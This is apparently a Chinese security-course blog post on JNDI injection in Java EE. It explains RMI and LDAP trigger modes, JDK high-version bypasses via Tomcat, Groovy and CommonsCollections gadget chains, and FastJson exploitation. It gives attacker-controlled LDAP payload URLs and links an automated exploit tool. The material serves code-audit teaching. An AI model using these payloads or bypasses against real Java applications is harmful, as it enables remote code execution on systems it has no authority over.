JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

Ethan医生3天前代码审计9




#JNDI注入-低版本-原生开发&触发模式

-重要知识:

1、JNDI,LDAP,RMI,反序列化关系

2、LDAP,RMI利用时JDK版本限制

3、JDK高版本绕过方法的所需条件

注:前面2个知识点可以参考第37天直播内容

 

-原生开发

String jndi="ldap://xx.xx.xx.xx/xx";

InitialContext initialContext = new InitialContext();

initialContext.lookup(jndi);

 

-触发模式

1、远程引用模式(基于JDK版本)

2、本地引用模式(基于依赖Jar)

3、反序列化模式(基于gadget链)

针对JDK版本的jndi注入

针对依赖jar包的jndi注入

针对gadget链的jndi注入

 

#JNDI注入-高版本-反序列化&FastJson

参考文章:https://paper.seebug.org/942/

参考文章:https://tttang.com/archive/1405

1、原生开发RMI高版本绕过:(利用依赖jar包绕过)

com.sun.jndi.rmi.object.trustURLCodebase、

com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,

即不允许从远程的Codebase加载Reference工厂类,不过没限制本地加载类文件。

-Tomcat依赖

-Groovy依赖

-其他依赖(见参考)

 

2、原生开发LDAP高版本绕过:(利用反序列化链绕过(也要依赖包))

com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,

导致LDAP远程代码攻击方式开始失效。这里可以利用javaSerializedData属性,

当javaSerializedData属性value值不为空时,本地存在反序列化利用链时触发。

-反序列化链(借助链)

-其他依赖链(见参考)

 

3、FastJson组件LADP高版本绕过:

-利用今天讲到的gadget链去打高版本

ldap://127.0.0.1:6666/exp

ldap://192.168.1.4:1389/deserialCommonsCollections7

 

-自动化项目(解决几个组件的反序列化的注入高版本问题)

https://github.com/exp1orer/JNDI-Inject-Exploit

 

JNDI注入高版本的绕过:

看依赖jar包(反序列化链也是看依赖jar包)

具体那些可以:Tomcat Groovy CC

参考:https://tttang.com/archive/1405


标签: JavaEEJNDI

相关文章

IAST&SAST项目篇&CodeQL拓展&火线洞态&Agent部署&DevSecOps

IAST&SAST项目篇&CodeQL拓展&火线洞态&Agent部署&DevSecOps

#SAST-CodeQL&CodeQLpy-JAVA测评:若依系统&Tmall商城在官方规则引擎下升级Java检测https://github.com/webraybtl/codeQl...

代码审计-JavaEE开发篇&第三方组件&依赖库挖掘&FastJson&Shrio&Log4j&H2DB

#JavaEE审计-第三方组件安全1、找存在漏洞的第三方组件(Package Checker插件)2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)3、找可控地方进行测试检测(根据网上已知漏洞利用...

SAST项目篇&CodeQL审计&SCA插件&语言应用&开源商业&自动工具

SAST项目篇&CodeQL审计&SCA插件&语言应用&开源商业&自动工具

#SAST-IDEA插件SCA-依赖组件漏洞-JAVA1、IDEA插件:(专业针对项目依赖组件审计插件)-CodeArts Checkhttps://blog.csdn.net/hwxiaozhi/a...

JavaEE开发篇&原生反序列化&CB链&CC链&Ysoserial链&字节码加载

JavaEE开发篇&原生反序列化&CB链&CC链&Ysoserial链&字节码加载

#补充JS逆向浏览器插件Hook JS算法脚本1、安装Tampermonkey(扶墙谷歌商店安装)2、添加和启用JS插件3、测试登录看控制台脚本地址:https://github.com/Captai...

PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

#PHP常见漏洞关键字:SQL注入:select insert update mysql_query mysqli等文件上传:$_FILES,type="file",上传,move...

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。